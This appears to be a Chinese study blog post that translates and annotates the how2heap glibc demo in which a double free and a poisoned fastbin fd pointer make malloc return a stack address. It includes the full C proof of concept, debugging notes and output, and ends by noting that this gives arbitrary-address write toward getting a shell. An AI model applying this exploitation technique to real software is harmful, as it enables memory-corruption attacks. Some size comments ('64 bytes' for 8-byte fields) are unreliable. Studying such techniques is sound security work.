一、how2heap源代码仓库
参考链接:how2heap
二、源C代码
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
三、个人翻译
//gcc -o middle_double_free -g middle_double_free.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "这段代码是对 fastbin_dup.c 文件中 double free 利用的拓展 \n"
"返回一个指向被控区域的指针 (在这个案例中, 被控区域是栈).\n");
unsigned long long stack_var;
fprintf(stderr, "我们目标被控区域的地址是 %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "申请三个堆块.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "第一个堆块 malloc(8): %p\n", a);
fprintf(stderr, "第二个堆块 malloc(8): %p\n", b);
fprintf(stderr, "第三个堆块 malloc(8): %p\n", c);
fprintf(stderr, "释放第一个堆块...\n");
free(a);
fprintf(stderr, "如果我们再次释放第一个堆块 %p , 程序将会崩溃 , 因为 %p 位于空闲堆块链表的首部.\n", a, a);
// free(a);
fprintf(stderr, "所以我们先释放第二个堆块 %p.\n", b);
free(b);
fprintf(stderr, "现在我们可以再次释放第一个堆块 %p , 此时第一个堆块就不在空闲堆块链表的首部了.\n", a);
free(a);
fprintf(stderr, "现在我们的空闲堆块链表中有:\n\t[ %p, %p, %p ]. "
"\n我们现在将执行我们的攻击用于修改 %p 地址处的数据.\n", a, b, a, a);
unsigned long long *d = malloc(8);
fprintf(stderr, "第一个堆块 malloc(8): %p\n", d);
fprintf(stderr, "第二个堆块 malloc(8): %p\n", malloc(8));
fprintf(stderr, "现在空闲堆块链表中剩余 [ %p ].\n", a);
fprintf(stderr, "现在我们可以使用第一个堆块 %p 同时它还存在在空闲链表的首部.\n"
"所以现在我们向栈中写入一个假的 free chunk size (在这个案例中: 0x20) ,\n"
"这样 malloc 会认为那里有一个 free chunk 并同意\n"
"返回一个指向它的指针.\n", a);
stack_var = 0x20;
//这句有点不会翻译,我就按我的话来说一遍
//Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.
fprintf(stderr, "现在我们在 %p 正确指向之前覆盖了它的首 8 字节数据为 0x20 \n", a);
//stack_var这个变量在栈上,修改它的值为 0x20 , 搭配后面那句 *d =
//整体就是将 d 指向的第一个 chunk 的 fd 字段值修改为 stack_var 这个变量的地址的前 64 字节
//效果是使 d 指向的第一个 chunk 在空闲链表中的后继空闲 chunk 变成位于栈上的
//fake chunk , 同时 fake chunk 的 size 字段为 0x20
//详细解析看第四大点
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
//Prev_Size 字段占64字节,long long 占64字节,Prev_size 用于标识 chunk 的位置
//换句话说就是指向 chunk 的指针,指向的是 chunk 的 Prev_size 字段
//所以 - sizeof(d) 的意思是将0x20的前64字节作为Prev_size,
//这样 Size 字段就变成了栈上存储着 0x20 数据的地址,Size 字段占64字节
fprintf(stderr, "第三个堆块 malloc(8): %p, 将栈上的 fake chunk 放入空闲堆块列表中\n", malloc(8));
fprintf(stderr, "第四个堆块 malloc(8): %p\n", malloc(8));
}
四、调试
1、调试环境
2、背景知识补充
①:alloced chunk
②:free chunk
3、double free 原理简介
我们利用 malloc 申请的 chunk 最开始是 alloced chunk ,当这个被申请的 chunk 被 free() 释放后,它不会被立即销毁,而是被放入相应的 bins 中并获得一些新的字段,在 fast bins 中会获得bk、与 fd 字段(fd 字段紧邻 Size 字段,fd、bk字段与 Prev_size 、Size字段一样占据 64 bit = 8 字节)而 fd、bk 字段都是从 User_data 中分出来的,所以我们往一个 free chunk 中写入数据,会依次覆盖它的 fd、bk 字段,本案例代码就运用了修改 fd 为空闲 chunk 链表增加了一个后继 fake chunk (伪造的chunk) 。
fd :指向了下一个(非物理相邻)空闲的chunk,其实也就是前一个被free的chunk
bk :指向了上一个(非物理相邻)空闲的chunk,就是后一个被free的chunk
现在我们再来分析一遍代码:
①:删除多余的打印语句
#include <stdio.h>
#include <stdlib.h>
int main()
{
unsigned long long stack_var;
//申请三个堆块
int *a = malloc(8); //最小堆块0x20,小于0x20按0x20分配
int *b = malloc(8); //所以malloc(8); 实际上是malloc(0x20);
int *c = malloc(8);
//free a、b、a 达成 double free
free(a);
free(b);
free(a);
//申请到第一个 free chunk a
unsigned long long *d = malloc(8);
//申请到 free chunk b
fprintf(stderr, "第二个堆块 malloc(8): %p\n", malloc(8)); //malloc(8);
//栈上的变量值赋值为0x20
stack_var = 0x20;
//*d表示 free chunk a 的地址,往 a 的 user_data 段写入 stack_var 的地址 - 8 个字节
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "第三个堆块 malloc(8): %p, 将栈上的 fake chunk 放入空闲堆块列表中\n", malloc(8)); //malloc(8);
fprintf(stderr, "第四个堆块 malloc(8): %p\n", malloc(8)); //malloc(8);
}
②:*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
*d 表示 free chunk a 的地址,往 a 的 user_data 段写入 stack_var 的地址 - 8 个字节
a 的 user_data 段的前 8 个字节是 a 的 fd 字段,用于指向下一个被 free 的 chunk
这里实现的效果是将 a 的 fd 字段覆盖为 stack_var 的地址 - 8 个字节
也就是 a 的下一个 free chunk 在栈上,在栈上伪造了一个 fake chunk
stack_var 的地址 - 8 个字节表示 fake chunk 的 Prev_size 字段
也就是将 stack_var 的地址作为 fake chunk 的 Size 字段的地址
stack_var 的地址存的是 stack_var 的值:0x20,也就是 fake chunk 的 Size 值为 0x20
刚好能通过 Size 大小的检查,使程序不会崩溃
③:fprintf(stderr, "第四个堆块 malloc(8): %p\n", malloc(8));
第三个堆块 malloc(8): 0x24c9010, 将栈上的 fake chunk 放入空闲堆块列表中
第四个堆块 malloc(8): 0x7ffdb6a1a5a8
最后一个堆块的地址在栈上也就说明了 fake chunk 伪造成功
4、调试过程
①:依次 free a、b、a
②:申请第一个 a 给 d ,奇怪的是 fastbins 没变还是 a、b、a,按理来说只剩 b、a
③:malloc(),把空闲 chunk b malloc掉,按理来说 fastbins 只剩a
⑥:stack_var 赋值(fake chunk 的 Size 字段)
⑦:废话写多了 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); 没显示出来
此时可以看到 fastbins 已经变得奇怪了,出现了一个在栈上的堆块,我们知道程序正常运行的话这基本是不会出现的,此时 fastbins 剩余 a、fakechunk、?
⑧:后面没什么说的了,就是两个 malloc 依次把 a、fakechunk 申请掉
5、小结
假入我们像 *d 指向 a 那样,用一个指针指向 fake chunk,然后利用这个指针向 fake chunk中写入任意数据,就可以实现任意地址写,利用任意地址写可以大大降低 getshell 的难度